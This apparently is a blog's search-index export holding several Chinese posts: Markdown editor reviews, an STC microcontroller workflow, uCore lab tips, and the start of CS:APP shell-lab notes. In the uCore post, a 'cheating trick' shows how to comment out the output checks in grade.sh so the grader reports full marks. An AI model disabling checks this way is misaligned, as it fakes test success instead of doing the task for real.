在主界面上常驻一些字数统计之类的功能是有必要的，而太多了则会适得其反。\n测试中，WordMark的字数统计完全无法正常使用，其目录也因为无法正确识别标题而难以使用。\n有目录的有Typora、Obsidian、MarkText、Notable、Typedown。\n有字数统计的有VS Code、Typora、Obsidian、StackEdit、MarkText、Zettlr、Haroopad、QOwnNotes、Typedown。\n图片管理 Markdown是纯文本格式，无法内嵌图片，所以需要额外的图片解决方案。有的会将图片存放在某个目录下，而有的支持上传至第三方云平台。\n存放于工作区内的有Obsidian、Typora、MarkText、Zettlr、IntelliJ、VNote、Notable、QOwnNotes、Joplin，一般都是粘贴时自动保存到工作区的特定文件夹中。\n能够上传到云端平台的有WordMark、Typora、MarkText。\n剩余的仅能插入外链。\n导出体验 一般来说都是导出PDF，所以此处重点体验PDF导出的质量，对其他格式只作数量要求，反正一般也是Pandoc实现。\nNotable和Marker不知道咋回事导不出，就算了。\nPDF可自定义度 一些软件可以自定义PDF导出的格式，从单纯的页面设置、页面主题，到可自定义CSS。\n支持多种内置主题的有StackEdit、MarkText、Typora，其中Typora一个非常强大的功能是可以使用CSS完全自定义主题。\n支持设置一些页面参数的有Obsidian和MarkText。\nPDF渲染质量 对于这一项，一般来说渲染没问题的都会得10分。值得注意的是，一些软件导出的PDF与预览有所不同，比如Zettlr导出后能够支持预览并不支持的规范。\nObsidian对数学公式的渲染匪夷所思，虽然支持TeX公式，但渲染出来字体竟然是黑体。\nDilinger虽有导出功能，但大量字符缺失，中文字符更完全无法显示。\nVS Code和IntelliJ在无插件的情况下不支持导出。\nQOwnNotes的情况有点奇怪，它会将Markdown符号一起导出，而非纯净的预览。这方面见仁见智，不过我给扣了分。\n还有的PDF导出后竟然比软件内预览的兼容性更强…… 很怪。\n其他格式数量 其实没啥好说的，能调用Pandoc的就有优势呗。\nCommonMark语法 CommonMark 标准 是对原版Markdown规定的细化，内含基础的Markdown语法，更适合作为一个基本的Markdown要求。\n此部分的得分是能正常通过的测试项数量。通过数量多的一定代表好，但通过数量少的也不一定难用，因为其中也包含一些平常不会触及的corner case，而CommonMark也只是其中一个标准，并无强制性。\n基本 此部分包含 “字符与行”、“制表符”、“转义字符”、“实体和数字字符” 这些方面。\nWordMark最惨，即使是Electron，稍复杂的格式基本无法正常渲染。\n叶块 此部分包含”ATX标题”、“设置文本标题”、“缩进代码块”、“围栏代码块”、“HTML块”、“链接引用”、“段落” 等方面。\n这里大部分编辑器没有得分的地方是paragraph部分。CommonMark要求两行之间间隔一行才能算作换行，而大部分编辑器并没有严格遵守，渲染出了5行（本应该是2行）。大部分情况下其实也可以不算一个问题。\n“设置文本标题” 部分出的问题也千奇百怪，有的只能识别一行标题，有的甚至识别不出标题。\nJoplin避过了所有的坑，成为惟一一个全部通过的编辑器。\n容器块 此部分包含 “块引用”、“列表项” 两个方面。\n有的编辑器如马克飞象和Marker等，会直接将自定义序号替换成从1开始编号。\n内联 此部分包含 “代码块”、“强调和特别强调”、“链接”、“自动链接” 和“图片”几个方面。“代码块”部分特增加了几个非传统热门语言。\n此处着重说一下代码块。C的高亮应该是只要支持语法高亮就会包含的，而新兴的如Rust，以及没那么热门的Verilog / 汇编则支持较少。Typora是唯一一个能支持汇编（assembly）渲染的编辑器，而大部分出现0.5分的编辑器都是因为语法高亮支持不全。\nGFM语法 GitHub也是使用Markdown语法较多的平台，它在一定程度上扩展了原版Markdown的语法，形成了 GitHub Flavored Markdown 标准，也有一定的影响力。\n表格 绝大部分编辑器都不能正常渲染 \\| 的转义符号，虽然不会将其识别为表格分隔符，但显示仍然是 \\| 而不是期望的 |。\n待办列表 Marker成为了参测编辑器中唯一一个不支持待办语法的编辑器。\n自动标题 GFM的自动标题相比于CommonMark添加了对没有任何外加标记的链接的直接识别。很少有编辑器能够将邮箱地址自动识别为mailto链接，大部分都较为保守，毕竟也有一定的误识别可能性。\n图表 GFM定义了Mermaid、Geojson、Topjson和STL模型四种图表格式。都是基于代码块定义的。尴尬的是，哪怕表现最好的编辑器也只支持Mermaid，而后三种只有GitHub网页能正常显示。\n后续可能会增加PlantUML等其他图表的测试？等有空再说吧。\n数学公式 GFM定义了使用两个 $ 符号的公式块、使用一个 $ 符号的内联公式，以及使用代码块格式的公式定义。此外还借用了 这篇文章 中GitHub数学公式的一些bug。\n性能 渲染较大规模文档的能力也是很重要的一个方面。这里使用从Project Gutenberg下载的《战争与和平》英文版（56.5万词，3MB），并转换为Markdown文件用于测试。对于能在Linux安装的编辑器，测试环境是Ubuntu 22.10开发分支，AMD Ryzen 7 4800H，24G内存，GeForce GTX 1650+NVIDIA闭源驱动。如果不能安装，使用Windows 11 22621.160。对于网页版编辑器，这里忽略平台不同的影响，均选择Firefox最新版本，使用浏览器任务管理器查看内存占用。\nStackEdit最大支持打开约250KB的文档，剩余部分被截断，无法完成测试。Typora不支持打开此大小的文件。Zettlr查看时经常卡死无响应。Arya粘贴后直接卡死。Marker完全无响应。\n打开时间 打开软件，从软件中的打开方式打开文档开始计时，到加载出正确渲染的文档内容。\nVS Code的代码加载很快，几乎马上就能加载出来，但预览很慢。类似的情况也在类Typora的所见即所得的编辑器中出现，如果需要将整个文档渲染一遍，就会花很长时间。\n内存占用 需要注意，网页端和原生应用的内存占用不能直接比较。网页本身的内存占用通常很小，许多浏览器本身动辄占用几百兆内存，而大部分Electron应用相当于再开了一个浏览器。\n流畅度 将流畅度从0-10打分，很流畅则得10分，完全无法正常浏览则得0分。\nv2ex网友说MarkText有性能问题似乎是真的，不过能打开也比Typora强了。\nVS Code不知道吃了什么微软神油，编辑和浏览都巨流畅。\n另记 Typora的数学公式渲染需要手动开启。\nVS Code缺失的部分基本可以使用插件开启，如导出文档、Mermaid图表等。\n哦忘了说了，Electron是真不太行。\n","date":"July 14, 2022","matchCount":0,"permalink":"/post/markdown-editor-review-2/","preview":"","title":"Markdown 编辑器横评（下篇）"},{"content":"本文主要用作记录开发过程中使用的不同工具。主要也是课程导向的，所以可能并不会使用实际上更好的方法。设备是STC15F2P60S2。\n添加设备库 先安装 Arm Keil uVision 5。由于课程需要，使用Keil的开发工具链，主要是懒得去学SDCC的语法差异，也懒得移植学校给的BSP库。\n使用十分复古的STC-ISP来添加设备库。直接点击 “添加型号和头文件……” 即可。\n创建项目 需要首先新建项目目录、一个C文件（空不空都行），以及所需的头文件和库文件（.lib），文件都放在项目文件夹中。这里我将C文件和库文件放到 source/ 目录，将 头文件放到 inc/ 目录。\n在uVision主界面顶部点击Project - New uVision Project来创建一个项目文件。由于Keil松散的文件管理，这个文件并不必须与源代码同目录同名，但为了遵循其他IDE的惯例，最好还是保持相同。\n选择设备时可以在下拉栏里找到STC MCU database，然后选择你的STC芯片。\n之后询问的STARTUP.A51没必要复制进来。\n然后找到左边项目浏览器中的Target，如果没有下属Group就先创建一个，有了之后直接双击它，打开添加文件界面。将你的库文件和C代码添加进来。如果在这里添加头文件，要指定好目录，但如果是某种库的话可以留到后面添加，所以这里只添加了两个文件。\n正常情况下C文件包含的头文件是会自动显示在C源代码下属的，就像上图这样。但是刚添加进文件的时候是没有的。\n之后找到顶部Project菜单，选择Options for Target xxx，点击C51，找到Include Paths，在这里添加额外的包含目录。我的库文件在项目文件夹 inc/ 目录，故添加完成如图。\n编写与构建项目 Keil本身是一个完善的IDE，那么对于写代码，我们自然是…… 用VS Code！\n只是为了自动识别Keil的项目，需要再装一个插件。该插件的信息如下。\ntext 复制代码 名称: Keil AssistantID: cl.keil-assistant 说明: An assistant for Keil uVision 版本: 1.7.0 发布者: CLVS Marketplace 链接: https://marketplace.visualstudio.com/items?itemName=CL.keil-assistant 1 名称: Keil AssistantID: cl.keil-assistant 说明: An assistant for Keil uVision 版本: 1.7.0 发布者: CLVS Marketplace 链接: https://marketplace.visualstudio.com/items?itemName=CL.keil-assistant 在插件设置中指定Keil工具链UV4.exe的路径，就可以用VS Code打开工作区的同时自动识别Keil项目了。\nVS Code自带的C language server能够完美地契合我们的需求，体验比Keil高到不知哪里去了。将鼠标移至特定Target上，甚至可以直接构建项目。\n如果没有hex文件输出，可以修改uvproj文件中的一行，在tag之间加一个1，如下。或者在前面Target Options页面里找到Output，选上Create HEX file。\nxml 复制代码 \u0026lt;CreateHexFile\u0026gt;1\u0026lt;/CreateHexFile\u0026gt; 1 \u0026lt;CreateHexFile\u0026gt;1\u0026lt;/CreateHexFile\u0026gt; 区分多种编译选项 有时由于方便调试的原因，我们需要添加调试输出，如RS485难以调试，则在开发时也输出到USB串口；同时我们也不希望最终使用时带有这种调试信息，那么在C语言中常用 #define 语句来区分：\nc 复制代码 Uart2Print(buf2, 8); #ifdef DEBUG Uart1Print(buf2, 8); #endif 1 2 3 4 Uart2Print(buf2, 8); #ifdef DEBUG Uart1Print(buf2, 8); #endif 可以使用多build target的方式，对每个target设定不同的define选项。从刚刚找到的Options for Target右边，点击File Extensions, \u0026hellip; 按钮，然后新建一个target，并选择其为当前target。然后打开之前P3提到过的C51选项，在define里设置想提前声明的内容即可。\n刷写项目 这里仍然不使用STC-ISP，而使用开源的stcgal。\ngrigorig/stcgal\n命令很简单，一般来说只需要一把梭：\nbash 复制代码 stcgal some-program.hex -p COMx 1 stcgal some-program.hex -p COMx 由于程序似乎是为Linux设计的，在Windows下必须指定COM号。一般这个号和特定USB接口有对应关系，用STC-ISP看一下就行了。\n这样我们可以将工作流与vscode深度融合，直接在其终端中操作，编辑、构建、刷写一体化，此时基本不需要Keil。\n参考文献 https://developer.arm.com/documentation/101407/0537/Creating-Applications/Software-Components/Components-in-Project https://stackoverflow.com/a/41895187 https://www.keil.com/support/man/docs/mcbstr750/mcbstr750_swlib_add.htm ","date":"June 29, 2022","matchCount":0,"permalink":"/post/stc-dev-workflow/","preview":"","title":"我的 STC 单片机开发工作流"},{"content":"之前曾读到一位友人写的 私有部署知识库系统横评 文章，感觉十分的有帮助，认识到除难部署的Outline之外全都不符合自己需求，遂直接把自己的文字笔记全切到了Notion（大雾）。但是Notion本身是一个知识库系统，并不能很好支持Markdown格式，也不够轻量化，对于写一份简单文档的需求，单纯的Markdown编辑器无疑是更好的选择。**如果你找Markdown编辑器是为了记笔记，那么我更建议你读读上面链接中的文章，知识库的方案会更加有优势。**PS：现在我的笔记已经全都在 思源 上面了。\n但很显然我不只有记笔记的需求，所以挑选了几款Markdown编辑器做一个横评。Markdown编辑器没有one size fit all，每款编辑器有自己的哲学，有的追求多而全的功能，有的追求极致的性能，有的坚守 KISS 原则，有的开发了插件系统，还有的只是顺便做个Markdown编辑功能。为了挑选一款适合自己的编辑器，我还是建议读者通读上下篇。你现在看到的是上篇，包含了我对每一款编辑器的主观大概评价，但无法表现哪个方面谁做得更好；而下篇 注重量化对比，但对于一些特色功能，无法体现在表格中。\n在这里特别感谢每一位开发者，特别是开源软件贡献者，没有他们，就没有编辑器百花齐放的今天。\n测试环境\n凡是有Linux版的，都会采用Linux版进行测试，使用Wayland显示协议。一般来说这种条件下适配是最不充分的，能暴露一些缺点。\nWindows或macOS独占的，当然只能用独占的了。由于不在同一台机器上测试，性能表现难免不同。但是即使硬件性能再强，有的编辑器也一塌糊涂。\nTypora Typora 是一款使用Electron开发的Markdown编辑器。可惜Beta结束后收费了，还有点贵，但它还是给我留下了非常好的印象。可以说是Markdown编辑器的标杆之作。\n优点：\n跨平台（Windows、Linux、macOS）\n所见即所得（即所谓WYSIWYG，默认打开效果实时预览）\n界面简洁干净，使用体验舒适\n支持使用CSS自定义模板，还有大量现成第三方模板\n大量的自定义语法选项‘\n强大的图片管理选项\n缺点：\n闭源\n收费（国内价格89元）\nObsidian 据 Obsidian 官方的定义，它其实也算是个知识库软件，但也遵守Markdown语法，还有知识图谱功能。如果你既要记笔记还要写文档，可以选择Obsidian。它也是使用Electron开发的。\n优点：\n跨平台（Windows、Linux、macOS、Android、iOS/iPadOS）\n知识图谱功能，根据反向链接探寻知识点之间的关系\n有很多插件，如看板、Git（需要Git客户端，自然不支持移动端）\n可选的所见即所得模式\n官方同步服务，$8 / 月\nWindows版自带优雅大方的苹方字体\n缺点：\n闭源\n菜单有点乱\nStackEdit benweet/stackedit\nStackEdit 是一个开源的网页端编辑器，我觉得最大的亮点应该是自带网盘工作区同步，所以移动端也可以。可以使用Docker镜像自行搭建，或者使用作者搭建的公用版本。编辑模式预览不太完全，但有一个带完整格式渲染的预览模式。目前我主要在用这款。\n优点：\n网络同步（Google Drive、GitHub、Gitlab、Dropbox）\n自带Cheatsheet和顶部快捷格式栏\n多种模板支持，但只有导出时可以用\n多个工作区可以分别管理同步策略或导出\n非常多的导出格式策略可选\nUML图和音符支持\nService Worker支持的离线编辑\n缺点：\nDocker版不能保存到服务器目录\nDocker镜像太大了\n公用版需要订阅制捐赠才能导出文件（考虑到开源，算半个缺点；Docker版可以直接导出）\nGoogle Drive要频繁重新认证\nZettlr Zettlr/Zettlr\nZettlr又是一个使用Electron开发的编辑器。太丑了，没细用。不过这个Hashtag特性似乎挺有意思，不失为管理知识的另一种方案。\n优点：\n跨平台（Windows、Linux、macOS）\n良好的外部文献管理支持（如Zotero）\n非常多的导出格式可选（依赖于Pandoc）\n缺点：\n丑！！！！完全打消了我用的欲望\n没有预览模式，不能做到完全的所见即所得\n工作区加载慢\nDillinger joemccann/dillinger\nDillinger 是一个开源的网页Markdown编辑器。看起来挺好的，但它有几个致命伤，拳拳到肉，所以我没用它，光是好看还是不能当饭吃啊。\n优点：\n界面美观\n语法高亮和分栏实时预览\n云同步（Dropbox、OneDrive、GitHub……）\n缺点：\n不支持TeX公式渲染\nPDF导出无法正确渲染中文\n不支持内联HTML符号\nMarkText marktext/marktext\nMarkText（域名都过期了）是一个使用Electron开发的开源编辑器，很多部分都与Typora相近。我在其开发早期就用过，但bug实在是太多了，于是马上就卸了。最近发现已经改善了不少，或许有希望成为Typora的开源平替。\n优点：\n跨平台（Windows、Linux、macOS）\nTypora一样的所见即所得\nTypora一样优雅的外观\n多种主题，但暂时不支持第三方导入\n多种图表支持（Mermaid、UML等）\n丰富的PDF导出格式选择\nTypora相似的强大图片管理\n缺点：\nHTML语法和Markdown格式不能混写（带HTML的必须转化为内联HTML块）\n还是有少量bug，但不影响正常使用\n据说有性能问题（见 V2EX）\nNotable notable/notable\nNotable 正如名字所示，它设计上仍然是一款笔记管理软件。\n优点：\n界面简洁美观\n内置Emoji面板和语法Cheatsheet\n使用Tag管理笔记\n将笔记通过网页分享\n缺点：\n自2020年1月，长期未更新\n不能单独打开Markdown文档，必须以笔记本形式组织\n闭源（1.5.1后）\nVNote vnotex/vnote\nVNote是一款国人开发的开源笔记管理软件。管理笔记还算方便，但写普通文档的时候只比Obsidian方便一点。体验不算很优秀，但不用Electron很难得。\n优点：\n跨平台（Windows、Linux、macOS）\n使用Qt开发，不是Electron！！！\nPDF导出体验较好\n缺点：\nLinux可能需要使用 --no-sandbox 选项才能显示预览（见 此链接）\n界面美观度一般\n预览同步滚动卡顿\nArya nicejade/markdown-online-editor\nArya 是一个轻量级的网页端Markdown编辑器。之所以说它轻量，是因为它连工作区的概念都没有，同时只能编辑一个文件。\n值得一提的是，它是基于 Vditor 的，而Vditor与思源笔记有着千丝万缕的联系。\n优点：\n十分简洁\n支持的输入丰富，TeX和Mermaid图表等都有\n桌面、Pad和手机端视图预览\n比Typora稍弱的所见即所得\n可以上传图片和录音\n开发者视图，DOM分层\n缺点：\n同时只能编辑一个文件（不过有本地暂存）\n滚动预览有点不太同步\n不支持内联HTML\nLetsMarkdown Cveinnt/LetsMarkdown.com\nLetsMarkdown是以协作为主要特点的在线Markdown编辑器。它有着类似VS Code的主界面，以及一些自动补全功能，主界面只有源代码区、预览区和分享链接。是的，除此之外，啥都没有。\n优点：\nVS Code同款编辑模块，上手难度小，简洁大方\n非常简单的协作体验\nemoji支持\n缺点：\n简洁得甚至有些简陋\n就连同步滚动也没有（画了个饼，会加）\nHaroopad Haroopad是 “the next document processor”，至于是什么货色，你看一眼上面的图就知道了。不过在我顺着Issue Tracker找到了它的GitHub后（是的，我差点当它闭源了），发现最后一个Issue在四年前，那就解释得通了…… 古早项目，权当怀念。\nrhiokim/haroopad\n优点：\n跨平台（Windows、Linux、macOS）\n支持CommonMark、GFM等多种Markdown标准\n缺点：\n字体渲染一塌糊涂\n软件长年不更新\n滚动源代码可同步滚动预览，但反之不行\n源代码侧没有语法高亮\nQOwnNotes QOwnNotes 是一款使用Qt+C++ 写成的笔记管理软件（是的，又一个非Electron）。\npbek/QOwnNotes\n优点：\n跨平台（Windows、Linux、macOS，居然还有FreeBSD）\nQt而非Electron，高效低占用\n强大的云端同步服务\n缺点：\n界面非常乱，连对比预览都找不到在哪\n编辑Markdown文档必须先导入笔记目录\n对HTML标签支持不佳\n马克飞象 马克飞象 是为印象笔记定制的网页端Markdown编辑器，比较适合印象笔记用户。\n优点：\n界面简洁\n流畅的预览和同步滚动\n印象笔记深度集成\n缺点：\n不支持Markdown文档的导入，只能粘贴\n不支持导出\nHTML标签有点bug\nWordMark WordMark 是一款为写博客的人而设计的Markdown编辑器，不过作为普通的Markdown编辑器也可以。由于经典的依赖问题，它的Linux版本我死活装不上（不一定是它的原因），闭源也没法自己构建。另外，它似乎和Typora一样在测试期间免费，但照这个更新频率可能永远出不了beta了。\n优点：\n简洁\n能够直接发布文章到WordPress/Medium/GitHub等平台，或者上传图片到托管服务\n跨三大桌面平台\n缺点：\n闭源\n长期不更新\n中文字体渲染诡异（上图英文是苹方，中文是宋体…… 开发者甚至似乎是个国人）\nHTML标签支持差\n不支持公式渲染\nMarker fabiocolacio/Marker\nMarker 是基于GTK3的Markdown编辑器，得益于此，它有着原生的流畅体验，但支持的平台很少。\n优点：\n不是Electron\n可自定义的CSS样式和语法\n支持Mermaid等组件\n缺点：\n仅支持Linux和FreeBSD\n似乎语法支持不太全\nJoplin laurent22/joplin\nJoplin是使用Electron开发的开源笔记软件，使用Markdown格式。把它加进来是因为呼声实在是太高了，歪打正着又发现它除了记笔记之外，对Markdown语法的支持也是很不错的。\n优点：\n广泛的移动端和桌面端设备支持\n完善的云端同步方案，还可自行托管同步服务端Joplin Server\n语法支持较为完善且标准\n界面比较整洁\n较好的图片管理\n缺点：\n必须导入为笔记或笔记本才可编辑 Typedown Typedown 是一款遵循WinUI规范的Markdown编辑器。logo有点山寨，但对于日常使用来说还是够用的，而且颜值也能令人耳目一新。\n优点：\nFluent Design规范，外观优秀\n菜单组织合理\n缺点：\n仅支持Windows 10及以上，不支持其他平台\n闭源\nGhostwriter Ghostwriter 是一款来自KDE的开源Markdown编辑器，基于Qt，但名字不含K。在distraction-free这个方面，它做得确实很好，并且对标准执行得也很严格。\n优点：\n非Electron\n跨三大桌面平台（macOS必须自己编译）\n界面简洁而不失易用性\n渲染语法非常标准，且能够切换使用多种标准模式\n写作时间与效率统计、阅读难度分析\n快\n缺点：\n代码没有语法高亮\n默认 cmark-gfm 模式只支持导出HTML\n预览与代码不能同时上下翻动\n不支持数学公式预览\n仍使用了Qt Web Engine渲染预览，占内存稍大\nKeenWrite DaveJarvis/keenwrite\nKeenWrite是一款以 “string interpolation\u0026quot;（将某些常用的字符串设为变量，使用时可以直接调用，类似于Kotlin）为特色、基于Java的开源Markdown编辑器。如你所见，由于某些不知名的bug，右边并没有显示出预览。\n优点：\n非Electron\n创新性的将string interpolation引入Markdown编辑器\n跨三大桌面平台\n缺点：\n占内存巨大，又卡又慢（Java嘛…… 打开 perf.md 完全无响应，还吃掉了1G内存）\n存在无法显示预览的bug（可能是暂时性 / 个例；影响了所有依赖于预览的测试项目）\nNotepads 0x7c13/Notepads\nNotepads 是一款Windows下的文本编辑器，支持Markdown渲染。外观还可以，但基本只适合轻度的编辑。\n优点：\n好看\n非Electron\n占用小，非常快\n缺点：\n仅支持Windows 10及以上，不支持其他平台\n语法特性支持较差，且无数学公式渲染\n1MB文件限制\n不支持导出为其他文档\n妙言 tw93/MiaoYan\n妙言 是一款macOS平台的Markdown编辑器。很轻盈，很好看，唯独可惜不支持其他平台。\n优点：\n简洁优美，很符合对macOS的印象\nSwift原生开发\n放映模式，将Markdown文档变成演示文稿\n较好地符合CommonMark标准，预览、导出始终如一\n罕见地支持Mermaid、PlantUML等图表\n支持PicGo等图床上传，默认也会将图片保存到本地\n缺点：\n不跨平台\n似乎不支持分栏显示预览和编辑（似乎是作者有意的），也没有所见即所得（暂时）\nYank Note purocean/yn\nYank Note 是一款扩展性极强的 “面向程序员的”Markdown笔记应用。嗯，确实很程序员（褒义 + 贬义）。\n优点：\n强大的插件体系，Mermaid、Draw.io、ECharts、Git、Milkdown甚至Code Runner运行代码\n信息多而全\n完善的图片处理逻辑，本地保存 + PicGo\n宏替换（付费功能）\n提供少见的在线demo\n缺点：\n配色有点死板，不够灵动\n拖动预览，代码却不能一块儿拖动\nMarkEdit MarkEdit-app/MarkEdit\nMarkEdit是一款在贯彻自己哲学的Markdown编辑器，从里到外地简洁（也简陋）。\n优点：\n轻快，非常小\n性能强，完全不卡，占用最小（甚至比网页端的几个还小）\n界面没有什么多余的元素\n内置Grammarly\nSwift原生开发，支持触控板重按手势等macOS特性\n缺点：\n不跨平台（仅macOS）\n没有预览也没有所见即所得，只有代码高亮和一定的格式（有意而为之，但这造成了数学公式和图片预览等一些方面吃了亏）\n没有直接的导出、图片管理等功能（也是有意而为之，只能手动复制Pandoc命令导出）\nVisual Studio Code microsoft/vscode\n提到编辑文件，可能永远都绕不开VS Code，它也是我们的老朋友了。仅仅是编辑Markdown的话，不装任何插件的VS Code就能基本胜任，但不要忘了它有一个巨大的插件市场，大部分不满意的方面都能通过插件搞定。虽然效果可能只能说差强人意，但总比没有强。\n优点：\n（也许）早就是装机必备软件了，上手成本低\n跨平台（Windows、Linux、macOS，也可以使用 code-server、vscode.dev 等方法在网页端使用）\n界面比较美观\n带语法高亮和实时预览\n深度融合代码工作区，适合用来写readme\n什么都找得到的插件市场，包括神奇的GitHub Copilot自动补全\n虽然是Electron，但性能非常好\n缺点：\n导出PDF需要装插件，体验欠佳 IntelliJ IDEA JetBrains/intellij-community\n写Java的读者应该对IDEA很熟悉了。用它写起Markdown也是很舒服的，代码块内还能自动补全，就像直接编译源代码一样。这里直接用GoLand了，毕竟JetBrains家IDE基本都是一个样。但是这个玩意似乎完全不支持PDF导出，或许JB加入这个功能的本意就只是写个readme吧。\n优点：\n跨平台（Windows、Linux、macOS）\n与IDE工作区深度融合\n不是Electron或Web端\n语法高亮和实时预览\n代码块内的自动补全和快捷运行\n图表支持\n缺点：\n不能导出PDF\n打开一个项目才能写\n不支持TeX公式\nMicrosoft Word 混乱邪恶势力来了，吔屎啦，Markdown！！！Pandoc支持将Word文档转换为Markdown格式，而Word也有完善的PDF导出功能。鉴于Word本身的优秀体验，我觉得倒也不是完全不可行。\n优点：\n操作逻辑简单，基本都能使用GUI完成，符合大部分人习惯\n界面美观\nOneDrive同步深度融合，体验极佳\n不是Electron\n功能强大\n缺点：\n（桌面版）仅不支持Linux\n闭源，价格昂贵\n与Markdown特性不能完美兼容（也可以说完全不能兼容）\n极差的代码输入体验\nXcode 算Word不算Xcode的话，有点不合适了吧。当然，这玩意摆在这儿还是为了整活。\n优点：\n性能挺强的，战争与和平滑动完全不卡\nCommonMark支持还算不错\n缺点：\n不跨平台\n闭源\n除CommonMark之外支持稀烂\n待测：Vrite\n","date":"June 11, 2022","matchCount":0,"permalink":"/post/markdown-editor-review-1/","preview":"","title":"Markdown 编辑器横评（上篇）"},{"content":"uCore实验本身设计得还不错，但却很容易在 “没用的事情” 上浪费大把的时间。有一些小技巧，虽然不能帮你理解uCore，但能够极大地提升实验体验。\n使用版本控制 显然版本控制一定要放在最前面。鉴于主要用的是Git，这里就说一些需要会的Git知识或者操作。\n首先uCore的源代码就在GitHub上，好巧不巧main分支是rCore，要做uCore得切换到master分支。\nGitHub\nchyyuu/os_kernel_lab\nCommit / 提交：相当于一个快照，可以随时恢复到你commit的时间节点。每个练习commit一下，就能保留状态了。如果遇到问题，可以随时revert或者checkout，可以免于找。 Branch / 分支：不同的分支可以用于维持不同的开发进度。有些时候不确定代码是否合对了，或者Challenge的代码不想合入主分支，就新建一个分支。 Merge / 合并和分支的概念是成对出现的，就是让不同分支的进度同步起来。 VS Code 放弃Vim、Eclipse和Nano吧，VS Code对uCore来说再适合不过了。\n使用VS Code+GDB调试uCore VS Code自带的调试工具能在GDB等调试器的基础上加入可视化断点、自动变量查看等有用功能。\n首先，需要在Makefile中加入如下的编译目标：\nmakefile 复制代码 debug-nogdb: $(UCOREIMG) $(V)$(QEMU) -S -s -parallel stdio $(QEMUOPTS) -serial null 1 2 debug-nogdb: $(UCOREIMG) $(V)$(QEMU) -S -s -parallel stdio $(QEMUOPTS) -serial null 做到后面有SWAP机制的练习时，记得在上面 $(UCOREIMG) 后面再加上 $(SWAPIMG)。\n然后请参考结尾处第一个参考文献，在此不再赘述。\n合并 / 比较工具 Kdiff3等工具和VS Code自带比较并不能比较文件夹内的不同内容。但是，你可以下载 这个插件，来选择两个目录导入。只需找到两个Lab之间的不同，就可以轻松合并你在前面实验中写下的代码。\n作弊的Trick 从Lab 5开始，很多人应该都经历过明明代码都对，make grade 却不满分的问题。改评分脚本，算作弊吗？或许也不算吧，毕竟首先是它自己的代码不对。\n将输出检查禁用，从而达到全都满分的方法，就是将grade.sh中221-239行注释掉，也就是下面的部分。\nsh 复制代码 if [$reg -ne 0]; then $grep \u0026#39;-E\u0026#39; \u0026#34;^$i\\$\u0026#34; $qemu_out \u0026gt; /dev/null else $grep \u0026#39;-F\u0026#39; \u0026#34;$i\u0026#34; $qemu_out \u0026gt; /dev/null fi found=$(($? == 0)) if [$found -eq $not]; then if [$found -eq 0]; then msg=\u0026#34;!! error: missing\u0026#39;$i\u0026#39;\u0026#34; else msg=\u0026#34;!! error: got unexpected line\u0026#39;$i\u0026#39;\u0026#34; fi okay=no if [-z\u0026#34;$error\u0026#34;]; then error=\u0026#34;$msg\u0026#34; else error=\u0026#34;$error\\n$msg\u0026#34; fi fi 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 if [$reg -ne 0]; then $grep \u0026#39;-E\u0026#39; \u0026#34;^$i\\$\u0026#34; $qemu_out \u0026gt; /dev/null else $grep \u0026#39;-F\u0026#39; \u0026#34;$i\u0026#34; $qemu_out \u0026gt; /dev/null fi found=$(($? == 0)) if [$found -eq $not]; then if [$found -eq 0]; then msg=\u0026#34;!! error: missing\u0026#39;$i\u0026#39;\u0026#34; else msg=\u0026#34;!! error: got unexpected line\u0026#39;$i\u0026#39;\u0026#34; fi okay=no if [-z\u0026#34;$error\u0026#34;]; then error=\u0026#34;$msg\u0026#34; else error=\u0026#34;$error\\n$msg\u0026#34; fi fi 如果只想禁用某个检查，可以注释掉如下面的部分，如：\nsh 复制代码 run_test -prog \u0026#39;divzero\u0026#39; -check default_check # - \u0026#39;kernel_execve: pid = ., name =\u0026#34;divzero\u0026#34;.*\u0026#39; \\ # - \u0026#39;trapframe at 0xc.......\u0026#39; \\ # \u0026#39;trap 0x00000000 Divide error\u0026#39; \\ # - \u0026#39;eip 0x008.....\u0026#39; \\ # - \u0026#39;esp 0xaff.....\u0026#39; \\ # \u0026#39;cs 0x----001b\u0026#39; \\ # \u0026#39;ss 0x----0023\u0026#39; \\ # ! - \u0026#39;user panic at .*\u0026#39; 1 2 3 4 5 6 7 8 9 run_test -prog \u0026#39;divzero\u0026#39; -check default_check # - \u0026#39;kernel_execve: pid = ., name =\u0026#34;divzero\u0026#34;.*\u0026#39; \\ # - \u0026#39;trapframe at 0xc.......\u0026#39; \\ # \u0026#39;trap 0x00000000 Divide error\u0026#39; \\ # - \u0026#39;eip 0x008.....\u0026#39; \\ # - \u0026#39;esp 0xaff.....\u0026#39; \\ # \u0026#39;cs 0x----001b\u0026#39; \\ # \u0026#39;ss 0x----0023\u0026#39; \\ # ! - \u0026#39;user panic at .*\u0026#39; 参考资料 https://blog.xhyeax.com/2020/10/15/vscode-debug-ucore/ ","date":"June 4, 2022","matchCount":0,"permalink":"/post/ucore-tricks/","preview":"","title":"一些让 uCore 更轻松的小技巧"},{"content":"通过完成一个简单的Shell程序（称为tsh），来熟悉程序控制与信号的内容。\n本笔记根据第二版材料写出，可能与第三版有一定差别。由于测试用例本身就是由浅入深的，所以本笔记也按照这个方式组织。\n前置知识 建议提前阅读官方Writeup（在 这里 下载），并学习课本 “异常控制流” 部分。\nWriteup的Hints部分包含了很多有用的提示，太多了就不一块翻译了。\n在原作者所属的顶级大学CMU，这个实验是分配给两个人做7天的，可以作为参考，决定自己的工作量。\n关于Shell Shell是一个交互式命令行解释器，就是执行你命令的程序。如果已经用得比较熟了，就没必要看这个部分了。\n命令是一串空格分隔的字符，第一个单词是程序名或内置命令名。如果是程序名，Shell会fork出一个进程执行它；如果是内置命令，就在当前进程中运行。\n比如下面的命令：\nbash 复制代码 gcc a.c -o a -O2 程序名 | 参数 1 | 参数 2 | 参数 3 | 参数 4 1 2 gcc a.c -o a -O2 程序名 | 参数 1 | 参数 2 | 参数 3 | 参数 4 如果一个命令以 \u0026amp; 结尾，则任务应在后台运行。只有一个程序可以在前台运行，而后台程序的数量没有多少限制。\nUnix Shell支持任务控制，即使用Ctrl+C可以发送SIGINT信号停止任务，使用Ctrl+Z可以发送SIGTSTP暂停进程（也可能有其他行为）。此外，还应该支持 jobs 显示任务列表、bg \u0026lt;job\u0026gt; 让程序后台运行、fg \u0026lt;job\u0026gt; 让程序前台运行，以及 kill \u0026lt;job\u0026gt; 来杀掉进程。\n特别地，在本Lab中，需要做到的有以下几点：\n命令行prompt以 \u0026ldquo;tsh\u0026gt;\u0026rdquo; 开头。\n不需要支持IO重定向（\u0026lt;\u0026gt;）和管道（|），这点大家在Buffer 